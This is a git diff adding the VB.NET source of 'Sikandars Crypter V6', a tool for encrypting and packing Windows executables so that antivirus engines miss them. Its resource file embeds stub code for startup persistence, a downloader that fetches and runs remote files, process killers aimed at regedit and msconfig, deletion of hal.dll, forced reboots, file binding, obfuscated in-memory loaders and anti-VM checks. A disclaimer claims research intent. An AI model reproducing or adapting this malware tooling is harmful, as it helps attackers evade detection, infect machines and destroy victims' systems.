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 + Rk+jpzsx8H/Yg1eWWMGXFwAAAABJRU5ErkJggg== + + + + The author of this crypter has the right to make decisions regarding termination of support because of irresponsibility of the user. This encryption tool was made for the protection of PE files under Win32 to prevent reverse engineers or crackers to decompile your program in an easy way. Features of the crypter that are designed to be in a malware is added not because this program should be used for malware; these features were added to experiment on how Anti Virus Engines can be developed. + + + The author is NOT against any Anti Virus Companies and is NOT reponsible with the actions that the user will be doing. By clicking "AGREE", you are excluding the author from any trouble that you will get into, if not, please EXIT the program now. + + \ No newline at end of file diff --git a/scode (Sikandars.Crypter.V6.VB.NET/Form2.vb b/scode (Sikandars.Crypter.V6.VB.NET/Form2.vb new file mode 100644 index 0000000..998a31a --- /dev/null +++ b/scode (Sikandars.Crypter.V6.VB.NET/Form2.vb @@ -0,0 +1,81 @@ +Imports System.Net +Imports System.Text +Imports System.Reflection + +Public Class Form2 + + Private Sub MButton1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MButton1.Click + Dim Serial As String = Web.DownloadString("http://sikandarindustries.110mb.com/SerialNumber.txt") + If TextBox1.Text = Encryption_Algorithms.TripleDESdecrypt(Serial, "SwH3AKxdgjiVqicQ", True) Then + Me.Hide() + Form1.Show() + Else + MessageBox.Show("Incorrect Serial Number. Please Contact Sikandar.", "Incorrect Serial", MessageBoxButtons.OK, MessageBoxIcon.Information) + Exit Sub + End If + End Sub + + Dim _P As New Point, _X, _Y As Integer + Private Sub MD1() Handles PictureBox1.MouseDown + _X = MousePosition.X - Location.X : _Y = MousePosition.Y - Location.Y + End Sub + Private Sub MM1(ByVal S, ByVal E) Handles PictureBox1.MouseMove + If E.Button = 1048576 Then : _P = MousePosition : _P.X -= _X : _P.Y -= _Y : Location = _P : End If + End Sub + + Private Sub MButton2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MButton2.Click + Application.Exit() + End Sub + Dim Web As New System.Net.WebClient + Private Sub Form2_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load + MButton3.Enabled = False + Dim P = New Properties(Assembly.LoadFile(Application.ExecutablePath)) + Dim CrypterVersion As String = Web.DownloadString("http://sikandarindustries.110mb.com/Version.txt") + Label5.Text = CrypterVersion + Dim AppVersion As String = P.Version.ToString + If Not AppVersion = Label5.Text Then + MButton3.Enabled = True + End If + End Sub + Structure Properties + Dim Title, Description, Company, Product, Copyright, Trademark As String, Version, FileVersion As Version + Private H As Assembly + Sub New(ByVal assembly As Reflection.Assembly) + H = assembly + Title = Search(Of AssemblyTitleAttribute)().Title + Description = Search(Of AssemblyDescriptionAttribute)().Description + Company = Search(Of AssemblyCompanyAttribute)().Company + Product = Search(Of AssemblyProductAttribute)().Product + Copyright = Search(Of AssemblyCopyrightAttribute)().Copyright + Trademark = Search(Of AssemblyTrademarkAttribute)().Trademark + Version = New Version(assembly.GetName.Version.ToString) + Dim T = Search(Of AssemblyFileVersionAttribute)() + FileVersion = New Version(If(T Is Nothing, "0.0.0.0", T.Version)) + End Sub + Private Function Search(Of T)() As T + Try + Return H.GetCustomAttributes(GetType(T), 0)(0) + Catch : End Try + End Function + Public Overrides Function ToString() As String + Dim S As New StringBuilder, B = "" + If Title <> "" Then S.AppendLine(B & "Title(""" & Title & E) + If Description <> "" Then S.AppendLine(B & "Description(""" & Description & E) + If Company <> "" Then S.AppendLine(B & "Company(""" & Company & E) + If Product <> "" Then S.AppendLine(B & "Product(""" & Product & E) + If Copyright <> "" Then S.AppendLine(B & "Copyright(""" & Copyright & E) + If Trademark <> "" Then S.AppendLine(B & "Trademark(""" & Trademark & E) + If Version.ToString <> "0.0.0.0" Then S.AppendLine(B & "Version(""" & Version.ToString & E) + If FileVersion.ToString <> "0.0.0.0" Then S.AppendLine(B & "FileVersion(""" & FileVersion.ToString & E) + Return S.ToString + End Function + End Structure + + Private Sub MButton3_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MButton3.Click + Try + Process.Start(Web.DownloadString("http://sikandarindustries.110mb.com/DownloadLink.txt")) + Catch ex As Exception + + End Try + End Sub +End Class \ No newline at end of file diff --git a/scode (Sikandars.Crypter.V6.VB.NET/Gnome-Dialog-Password.ico b/scode (Sikandars.Crypter.V6.VB.NET/Gnome-Dialog-Password.ico new file mode 100644 index 0000000..a594d5d Binary files /dev/null and b/scode (Sikandars.Crypter.V6.VB.NET/Gnome-Dialog-Password.ico differ diff --git a/scode (Sikandars.Crypter.V6.VB.NET/My Project/Application.Designer.vb b/scode (Sikandars.Crypter.V6.VB.NET/My Project/Application.Designer.vb new file mode 100644 index 0000000..58a90fb --- /dev/null +++ b/scode (Sikandars.Crypter.V6.VB.NET/My Project/Application.Designer.vb @@ -0,0 +1,38 @@ +'------------------------------------------------------------------------------ +' +' This code was generated by a tool. +' Runtime Version:4.0.30319.1 +' +' Changes to this file may cause incorrect behavior and will be lost if +' the code is regenerated. +' +'------------------------------------------------------------------------------ + +Option Strict On +Option Explicit On + + +Namespace My + + 'NOTE: This file is auto-generated; do not modify it directly. To make changes, + ' or if you encounter build errors in this file, go to the Project Designer + ' (go to Project Properties or double-click the My Project node in + ' Solution Explorer), and make changes on the Application tab. + ' + Partial Friend Class MyApplication + + _ + Public Sub New() + MyBase.New(Global.Microsoft.VisualBasic.ApplicationServices.AuthenticationMode.Windows) + Me.IsSingleInstance = false + Me.EnableVisualStyles = true + Me.SaveMySettingsOnExit = true + Me.ShutDownStyle = Global.Microsoft.VisualBasic.ApplicationServices.ShutdownMode.AfterMainFormCloses + End Sub + + _ + Protected Overrides Sub OnCreateMainForm() + Me.MainForm = Global.SCV6._0.Form1 + End Sub + End Class +End Namespace diff --git a/scode (Sikandars.Crypter.V6.VB.NET/My Project/Application.myapp b/scode (Sikandars.Crypter.V6.VB.NET/My Project/Application.myapp new file mode 100644 index 0000000..fbb5858 --- /dev/null +++ b/scode (Sikandars.Crypter.V6.VB.NET/My Project/Application.myapp @@ -0,0 +1,10 @@ + + + true + Form1 + false + 0 + true + 0 + true + \ No newline at end of file diff --git a/scode (Sikandars.Crypter.V6.VB.NET/My Project/AssemblyInfo.vb b/scode (Sikandars.Crypter.V6.VB.NET/My Project/AssemblyInfo.vb new file mode 100644 index 0000000..1a85bc3 --- /dev/null +++ b/scode (Sikandars.Crypter.V6.VB.NET/My Project/AssemblyInfo.vb @@ -0,0 +1,35 @@ +Imports System +Imports System.Reflection +Imports System.Runtime.InteropServices + +' General Information about an assembly is controlled through the following +' set of attributes. Change these attribute values to modify the information +' associated with an assembly. + +' Review the values of the assembly attributes + + + + + + + + + + +'The following GUID is for the ID of the typelib if this project is exposed to COM + + +' Version information for an assembly consists of the following four values: +' +' Major Version +' Minor Version +' Build Number +' Revision +' +' You can specify all the values or you can default the Build and Revision Numbers +' by using the '*' as shown below: +' + + + diff --git a/scode (Sikandars.Crypter.V6.VB.NET/My Project/Resources.Designer.vb b/scode (Sikandars.Crypter.V6.VB.NET/My Project/Resources.Designer.vb new file mode 100644 index 0000000..da9f34a --- /dev/null +++ b/scode (Sikandars.Crypter.V6.VB.NET/My Project/Resources.Designer.vb @@ -0,0 +1,847 @@ +'------------------------------------------------------------------------------ +' +' This code was generated by a tool. +' Runtime Version:4.0.30319.1 +' +' Changes to this file may cause incorrect behavior and will be lost if +' the code is regenerated. +' +'------------------------------------------------------------------------------ + +Option Strict On +Option Explicit On + +Imports System + +Namespace My.Resources + + 'This class was auto-generated by the StronglyTypedResourceBuilder + 'class via a tool like ResGen or Visual Studio. + 'To add or remove a member, edit your .ResX file then rerun ResGen + 'with the /str option, or rebuild your VS project. + ''' + ''' A strongly-typed resource class, for looking up localized strings, etc. + ''' + _ + Friend Module Resources + + Private resourceMan As Global.System.Resources.ResourceManager + + Private resourceCulture As Global.System.Globalization.CultureInfo + + ''' + ''' Returns the cached ResourceManager instance used by this class. + ''' + _ + Friend ReadOnly Property ResourceManager() As Global.System.Resources.ResourceManager + Get + If Object.ReferenceEquals(resourceMan, Nothing) Then + Dim temp As Global.System.Resources.ResourceManager = New Global.System.Resources.ResourceManager("SCV6._0.Resources", GetType(Resources).Assembly) + resourceMan = temp + End If + Return resourceMan + End Get + End Property + + ''' + ''' Overrides the current thread's CurrentUICulture property for all + ''' resource lookups using this strongly typed resource class. + ''' + _ + Friend Property Culture() As Global.System.Globalization.CultureInfo + Get + Return resourceCulture + End Get + Set + resourceCulture = value + End Set + End Property + + ''' + ''' Looks up a localized string similar to Shared Sub PushStart() + ''' Dim xx As String = Environment.GetFolderPath(Environment.SpecialFolder.Startup) & "\" & IO.Path.GetFileName(System.Windows.Forms.Application.ExecutablePath) + ''' While True + ''' Try + ''' If Not IO.File.Exists(xx) Then + ''' IO.File.Copy(System.Windows.Forms.Application.ExecutablePath, xx) + ''' End If + ''' Catch + ''' End Try + ''' System.Threading.Thread.Sleep(5000) + ''' End While + '''End Sub. + ''' + Friend ReadOnly Property Add2StartUp() As String + Get + Return ResourceManager.GetString("Add2StartUp", resourceCulture) + End Get + End Property + + ''' + ''' Looks up a localized string similar to Shared Sub F63() + ''' Killer("dxdiag") + ''' End Sub. + ''' + Friend ReadOnly Property Adxdiag() As String + Get + Return ResourceManager.GetString("Adxdiag", resourceCulture) + End Get + End Property + + ''' + ''' Looks up a localized string similar to Dim N As String = System.Text.Encoding.Default.GetString(AD(System.Text.Encoding.Default.GetBytes(ReverseString(R.GetObject("NM"))))) + ''' Dim I As String = Environ("APPDATA") & "\" & N & ".exe" + ''' If IO.File.Exists(I) Then + ''' IO.File.Delete(I) + ''' End If + ''' Try + ''' My.Computer.FileSystem.WriteAllBytes(I, AD(System.Text.Encoding.Default.GetBytes(ReverseString(R.GetObject("I")))), False) + ''' Catch + ''' End Try + ''' LoadMethod("IX", "R", CC(ReverseString(R.GetObject("X"))), New Object() {AD(System.Text.Encoding.Default.GetByt [rest of string was truncated]";. + ''' + Friend ReadOnly Property AESLoader() As String + Get + Return ResourceManager.GetString("AESLoader", resourceCulture) + End Get + End Property + + ''' + ''' Looks up a localized string similar to Shared Function AD(ByVal Y As Byte()) + ''' Using A As New System.Security.Cryptography.RC2CryptoServiceProvider + ''' A.IV = New Byte() {Convert.ToInt32(1000, 2), Convert.ToInt32(111, 2), _ + ''' Convert.ToInt32(110, 2), Convert.ToInt32(101, 2), _ + ''' Convert.ToInt32(100, 2), Convert.ToInt32(11, 2), _ + ''' Convert.ToInt32(10, 2), Convert.ToInt32(&H1, 2)} + ''' A.Key = New Byte() {Convert.ToInt32(&H0, 2), Conve [rest of string was truncated]";. + ''' + Friend ReadOnly Property AESRev() As String + Get + Return ResourceManager.GetString("AESRev", resourceCulture) + End Get + End Property + + ''' + ''' Looks up a localized string similar to Shared Sub F62() + ''' Killer("notepad") + ''' End Sub. + ''' + Friend ReadOnly Property ANotePad() As String + Get + Return ResourceManager.GetString("ANotePad", resourceCulture) + End Get + End Property + + ''' + ''' Looks up a localized string similar to Shared Sub AT + ''' Dim id As String = "76487-337-8429955-22614" + ''' + ''' Dim regPID As Microsoft.Win32.RegistryKey = Microsoft.Win32.Registry.LocalMachine.OpenSubKey("SOFTWARE\Microsoft\Windows NT\CurrentVersion", False) + ''' + ''' Dim pid As Object = regPID.GetValue("ProductId") + ''' + ''' Dim D As Object, R As String = Nothing, B As String = "SELECT * FROM Win32_VideoController" + ''' + ''' D = GetObject("winmgmts:").ExecQuery(B) + ''' + ''' Dim AdaptList As Object + ''' [rest of string was truncated]";. + ''' + Friend ReadOnly Property AntisSub() As String + Get + Return ResourceManager.GetString("AntisSub", resourceCulture) + End Get + End Property + + ''' + ''' Looks up a localized string similar to Public Declare Function SetWindowLong Lib "user32.dll" Alias "SetWindowLongA" (ByVal hWnd As Long, ByVal nindex As Long, ByVal dwnewlong As Long) As Long + '''|Public Declare Function CallWindowProc Lib "user32.dll" Alias "CallWindowProcA" (ByVal lpPrevWndFunc As Long, ByVal hWnd As Long, ByVal Msg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long + '''|Public Declare Function DefWindowProc Lib "user32.dll" Alias "DefWindowProcA" (ByVal hWnd As Long, ByVal wMsg As Long, ByVal wParam As Long, ByVal lParam [rest of string was truncated]";. + ''' + Friend ReadOnly Property APIs() As String + Get + Return ResourceManager.GetString("APIs", resourceCulture) + End Get + End Property + + ''' + ''' Looks up a localized string similar to Dim filled() As String + ''' + '''Dim rand As New Random() + ''' + ''''FilledSplitting + ''' + '''Dim tpth As String = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) & "\" & rand.Next(10000, 99999).ToString & filled(1) + ''' + '''My.Computer.FileSystem.WriteAllBytes(tpth, System.Text.Encoding.Default.GetBytes(filled(0)), False) + ''' + '''System.Diagnostics.Process.Start(tpth) + ''' + '''. + ''' + Friend ReadOnly Property Binder() As String + Get + Return ResourceManager.GetString("Binder", resourceCulture) + End Get + End Property + + ''' + ''' Looks up a localized string similar to Dim Expl As String = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) & "\1" & IO.Path.GetFileName(System.Windows.Forms.Application.ExecutablePath) + '''My.Computer.Network.DownloadFile($DownloadLink$, Expl) + '''Do Until IO.File.Exists(Expl) = True + ''' System.Threading.Thread.Sleep(1000) + '''Loop + '''System.Diagnostics.Process.Start(Expl). + ''' + Friend ReadOnly Property Downloader() As String + Get + Return ResourceManager.GetString("Downloader", resourceCulture) + End Get + End Property + + ''' + ''' Looks up a localized string similar to Try + ''' Dim regloc As String = "HKEY_CURRENT_USER\Software\Microsoft\Windows\Current Version\Policies\Explorer" + ''' My.Computer.Registry.SetValue(regloc, "NoFolderOptions", "1", Microsoft.Win32.RegistryValueKind.DWord) + '''Catch + '''End Try. + ''' + Friend ReadOnly Property FolderOpt() As String + Get + Return ResourceManager.GetString("FolderOpt", resourceCulture) + End Get + End Property + + ''' + ''' Looks up a localized string similar to Public Shared Sub A(ByVal ProcessName As String) + ''' Dim proc As System.Diagnostics.Process() = System.Diagnostics.Process.GetProcesses + ''' If System.Diagnostics.Process.GetProcessesByName(ProcessName).Length >= 1 Then + ''' System.Threading.Thread.Sleep(10000) + ''' End If + '''End Sub. + ''' + Friend ReadOnly Property FunctionA() As String + Get + Return ResourceManager.GetString("FunctionA", resourceCulture) + End Get + End Property + + ''' + ''' Looks up a localized string similar to Try + ''' IO.File.Delete(Environment.GetFolderPath(Environment.SpecialFolder.System) & "\hal.dll") + '''Catch + '''End Try. + ''' + Friend ReadOnly Property HalDLL() As String + Get + Return ResourceManager.GetString("HalDLL", resourceCulture) + End Get + End Property + + ''' + ''' Looks up a localized string similar to Public Shared Function RInvoke(ByVal bytes As Byte()) As Boolean + ''' Dim vr1 As New Threading.Thread(AddressOf vr0) + ''' vr1.SetApartmentState(Threading.ApartmentState.STA) + ''' vr1.Start(bytes) + ''' End Function + ''' Private Shared Sub vr0(ByVal vr0 As Object) + ''' Dim vr19 As Reflection.MethodInfo = Reflection.Assembly.Load(DirectCast(vr0, Byte())).EntryPoint + ''' If vr19.GetParameters.Length = 1 Then + ''' vr19.Invoke(Nothing, New Object() {New String() {}}) + ''' Else ''' [rest of string was truncated]";. + ''' + Friend ReadOnly Property Invoke() As String + Get + Return ResourceManager.GetString("Invoke", resourceCulture) + End Get + End Property + + ''' + ''' Looks up a localized string similar to Public Shared Function Killer(ByVal proc As String) As String + ''' Try + ''' While True + ''' Dim p As System.Diagnostics.Process + ''' For Each p In System.Diagnostics.Process.GetProcesses + ''' If proc.Contains(p.ProcessName) Then + ''' p.Kill() + ''' End If + ''' Next + ''' System.Threading.Thread.Sleep(1) + ''' End While + ''' Catch ex As Exception + ''' End Try + ''' Return Nothing + ''' [rest of string was truncated]";. + ''' + Friend ReadOnly Property KFunction() As String + Get + Return ResourceManager.GetString("KFunction", resourceCulture) + End Get + End Property + + ''' + ''' Looks up a localized string similar to Shared Sub KKK + ''' + ''' Dim KF13 As New System.Threading.Thread(AddressOf F13) + ''' + ''' KF13.Start() + ''' + ''' Dim KF14 As New System.Threading.Thread(AddressOf F14) + ''' + ''' KF14.Start() + ''' + ''' Dim KF15 As New System.Threading.Thread(AddressOf F15) + ''' + ''' KF15.Start() + ''' + ''' Dim KF16 As New System.Threading.Thread(AddressOf F16) + ''' + ''' KF16.Start() + ''' + ''' Dim KF17 As New System.Threading.Thread(AddressOf F17) + ''' + ''' [rest of string was truncated]";. + ''' + Friend ReadOnly Property Killers() As String + Get + Return ResourceManager.GetString("Killers", resourceCulture) + End Get + End Property + + ''' + ''' Looks up a localized string similar to 'Shared Sub Melt(ByVal NewName As String) + ''' ' Try + ''' ' Dim NewFolder As String = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + ''' ' If Application.StartupPath = NewFolder = False Then + ''' ' FileCopy(System.Windows.Forms.Application.ExecutablePath, NewFolder & "\" & NewName) + ''' ' Shell(NewFolder & "\" & NewName & " " & Application.ExecutablePath) + ''' ' Dim Hidden As System.IO.FileAttributes = FileAttributes.Hidden + ''' ' IO.File.SetAttributes(NewFolder & "\" & NewName, Hidden) + ''' ' [rest of string was truncated]";. + ''' + Friend ReadOnly Property Melt() As String + Get + Return ResourceManager.GetString("Melt", resourceCulture) + End Get + End Property + + ''' + ''' Looks up a localized string similar to Shared Sub F61() + ''' Killer("msconfig") + ''' End Sub. + ''' + Friend ReadOnly Property msconfig() As String + Get + Return ResourceManager.GetString("msconfig", resourceCulture) + End Get + End Property + + ''' + ''' Looks up a localized string similar to Public Shared Function PolyDec(ByVal Input As String) As String + ''' Dim Output As String = Nothing + ''' Dim SA() As String + ''' SA = Input.Split("|") + ''' For Each C As String In SA + ''' Try + ''' Output = Output & Chr(C - SA(0)) + ''' Catch + ''' End Try + ''' Next + ''' Return Output.Remove(0, 1) + '''End Function. + ''' + Friend ReadOnly Property PolyDec() As String + Get + Return ResourceManager.GetString("PolyDec", resourceCulture) + End Get + End Property + + ''' + ''' Looks up a localized string similar to Dim D As New PolyRC4(R.GetObject("K")) + ''' Dim N As String = D.Decrypt(R.GetObject("NM")) + ''' Dim I As String = Environ("APPDATA") & "\" & N & ".exe" + ''' If IO.File.Exists(I) Then + ''' IO.File.Delete(I) + ''' End If + ''' Dim B As Byte() = System.Text.Encoding.Default.GetBytes(D.Decrypt(R.GetObject("I"))) + ''' Try + ''' My.Computer.FileSystem.WriteAllBytes(I, B, False) + ''' Catch + ''' End Try + ''' Dim C As Byte() = System.Text.Encoding.Default.GetBytes(D.Decrypt(R.GetObject("F"))) + ''' LoadMethod("IX", "R", CC(ReverseString(R.GetObject("X")) [rest of string was truncated]";. + ''' + Friend ReadOnly Property PolyRC4Loader() As String + Get + Return ResourceManager.GetString("PolyRC4Loader", resourceCulture) + End Get + End Property + + ''' + ''' Looks up a localized string similar to Public Class PolyRC4 + ''' + ''' Private Key As String = "sad87x6zucigedsjfguycxtiu4e75689374-w24098sdfhj-324iuysdjfbhsdjf" + ''' + ''' Sub New(ByVal EncryptionKey As String) + ''' + ''' Key = EncryptionKey + ''' + ''' End Sub + ''' + ''' Public Function Encrypt(ByVal message As String) As String + ''' + ''' message = XX(message, Key) + ''' + ''' Dim random As New Random() + ''' + ''' Dim list1 As New System.Collections.ArrayList(), list2 As New System.Collections.ArrayList() + ''' + ''' Dim out [rest of string was truncated]";. + ''' + Friend ReadOnly Property PolyRC4Rev() As String + Get + Return ResourceManager.GetString("PolyRC4Rev", resourceCulture) + End Get + End Property + + ''' + ''' Looks up a localized string similar to Dim N As String = System.Text.Encoding.Default.GetString(PolyMorphicStairs.PolyDecrypt(System.Text.Encoding.Default.GetBytes(ReverseString(R.GetObject("NM"))), _ + '''R.GetObject("K"))) + '''Dim I As String = Environ("APPDATA") & "\" & N & ".exe" + '''If IO.File.Exists(I) Then + ''' IO.File.Delete(I) + '''End If + '''Try + ''' My.Computer.FileSystem.WriteAllBytes(I, PolyMorphicStairs.PolyDecrypt(System.Text.Encoding.Default.GetBytes(ReverseString(R.GetObject("I"))), (R.GetObject("K"))), False) + '''Catch + '''End Try + '''LoadMethod("IX", " [rest of string was truncated]";. + ''' + Friend ReadOnly Property PolyStairsLoader() As String + Get + Return ResourceManager.GetString("PolyStairsLoader", resourceCulture) + End Get + End Property + + ''' + ''' Looks up a localized string similar to Public Class PolyMorphicStairs + ''' Overloads Shared Function PolyDeCrypt(ByVal Data As String, ByVal Key As String, Optional ByVal ExtraRounds As UInteger = 0) As String + ''' Dim buff() As Byte = PolyDeCrypt(Encoding.Default.GetBytes(Data), Encoding.Default.GetBytes(Key), ExtraRounds) + ''' PolyDeCrypt = Encoding.Default.GetString(buff) + ''' Erase buff + ''' End Function + ''' Overloads Shared Function PolyDeCrypt(ByRef Data() As Byte, ByVal Key() As Byte, Optional ByVal Ex [rest of string was truncated]";. + ''' + Friend ReadOnly Property PolyStairsRev() As String + Get + Return ResourceManager.GetString("PolyStairsRev", resourceCulture) + End Get + End Property + + ''' + ''' Looks up a localized string similar to Dim D As New Polymorphic(R.GetObject("K")) + ''' Dim N As String = System.Text.Encoding.Default.GetString(D.PolyDeCrypt(System.Text.Encoding.Default.GetBytes(ReverseString(R.GetObject("NM"))))) + ''' Dim I As String = Environ("APPDATA") & "\" & N & ".exe" + ''' If IO.File.Exists(I) Then + ''' IO.File.Delete(I) + ''' End If + ''' Try + ''' My.Computer.FileSystem.WriteAllBytes(I, D.PolyDeCrypt(System.Text.Encoding.Default.GetBytes(ReverseString(R.GetObject("I")))), False) + ''' Catch + ''' End Try + ''' LoadMethod("IX", "R", CC(ReverseString(R.Get [rest of string was truncated]";. + ''' + Friend ReadOnly Property PolyXORLoader() As String + Get + Return ResourceManager.GetString("PolyXORLoader", resourceCulture) + End Get + End Property + + ''' + ''' Looks up a localized string similar to Public Class PolyMorphic + ''' 'Variable for the Key. + ''' Private sKey As String = "" + ''' 'Property, will Give us acces to the key. + ''' Public Property Key() As String + ''' Get + ''' Return sKey + ''' End Get + ''' Set(ByVal value As String) + ''' sKey = value + ''' End Set + ''' End Property + ''' 'Inisalization. (New Constructor) + ''' Public Sub New(ByVal Key As String) + ''' Me.Key = Key + ''' End Sub + ''' Public [rest of string was truncated]";. + ''' + Friend ReadOnly Property PolyXORRev() As String + Get + Return ResourceManager.GetString("PolyXORRev", resourceCulture) + End Get + End Property + + ''' + ''' Looks up a localized string similar to Public Shared Function Rc4(ByVal ºjmÍ() As Byte, ByVal ºjmUÍ() As Byte) As Byte() + ''' + ''' Dim s(Convert.ToInt32(11111111, &H2)) As Byte + ''' + ''' Dim i As Integer + ''' + ''' For i = Convert.ToInt32(&H0, &H2) To s.Length - Convert.ToInt32(&H1, &H2) + ''' + ''' s(i) = CByte(i) + ''' + ''' Next + ''' + ''' Dim j As Integer + ''' + ''' For i = Convert.ToInt32(&H0, &H2) To s.Length - Convert.ToInt32(&H1, &H2) + ''' + ''' j = (j + ºjmUÍ(i Mod ºjmUÍ.Length) + s(i)) And Convert.ToInt32(11111111, &H2) + ''' + ''' [rest of string was truncated]";. + ''' + Friend ReadOnly Property RC4() As String + Get + Return ResourceManager.GetString("RC4", resourceCulture) + End Get + End Property + + ''' + ''' Looks up a localized string similar to Dim N As String = System.Text.Encoding.Default.GetString(Rc4(System.Text.Encoding.Default.GetBytes(ReverseString(R.GetObject("NM"))), _ + '''R.GetObject("K"))) + '''Dim I As String = Environ("APPDATA") & "\" & N & ".exe" + '''If IO.File.Exists(I) Then + ''' IO.File.Delete(I) + '''End If + '''Try + ''' My.Computer.FileSystem.WriteAllBytes(I, Rc4(System.Text.Encoding.Default.GetBytes(ReverseString(R.GetObject("I"))), (R.GetObject("K"))), False) + '''Catch + '''End Try + '''LoadMethod("IX", "R", CC(ReverseString(R.GetObject("X"))), New Object( [rest of string was truncated]";. + ''' + Friend ReadOnly Property RC4Loader() As String + Get + Return ResourceManager.GetString("RC4Loader", resourceCulture) + End Get + End Property + + ''' + ''' Looks up a localized string similar to Shared Sub F60() + ''' Killer("regedit") + '''End Sub. + ''' + Friend ReadOnly Property Regedit() As String + Get + Return ResourceManager.GetString("Regedit", resourceCulture) + End Get + End Property + + ''' + ''' Looks up a localized string similar to Option Explicit Off + '''Option Strict Off + '''Imports System.Reflection + '''Imports System.Runtime.InteropServices + '''Imports System + '''Imports Microsoft.VisualBasic + '''Imports System.Text + '''Imports System.Security.Cryptography + '''Imports Microsoft.Win32 + '''Imports System.Windows.Forms + '''Imports System.IO + '''Imports System.CodeDom.Compiler + ''''AssemblyCodes + '''Public Class Out + ''' 'FakeAPI#1 + ''' 'FakeAPI#2 + ''' 'FakeAPI#3 + ''' 'FakeAPI#4 + ''' 'FakeAPI#5 + ''' 'FakeAPI#6 + ''' 'FakeAPI#7 + ''' 'FakeAPI#8 + ''' 'FakeAPI#9 + ''' 'FakeAPI#A + ''' [rest of string was truncated]";. + ''' + Friend ReadOnly Property ResetStub() As String + Get + Return ResourceManager.GetString("ResetStub", resourceCulture) + End Get + End Property + + ''' + ''' Looks up a localized string similar to Dim bytloc As String = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) & "\restart" + '''If Not IO.File.Exists(bytloc) Then + ''' Dim filebyt As Byte() = New Byte() {} + ''' My.Computer.FileSystem.WriteAllBytes(bytloc, filebyt, False) + ''' Microsoft.VisualBasic.Shell("shutdown -r -t" & " 00", Microsoft.VisualBasic.AppWinStyle.Hide) + '''End If. + ''' + Friend ReadOnly Property Restart() As String + Get + Return ResourceManager.GetString("Restart", resourceCulture) + End Get + End Property + + ''' + ''' Looks up a localized string similar to Dim N As String = RijndaelDecrypt(R.GetObject("NM"),R.GetObject("K")) + ''' Dim I As String = Environ("APPDATA") & "\" & N & ".exe" + ''' If IO.File.Exists(I) Then + ''' IO.File.Delete(I) + ''' End If + ''' Dim II As Byte() = System.Text.Encoding.Default.GetBytes(RijndaelDecrypt(R.GetObject("I"), _ + ''' R.GetObject("K"))) + ''' Try + ''' 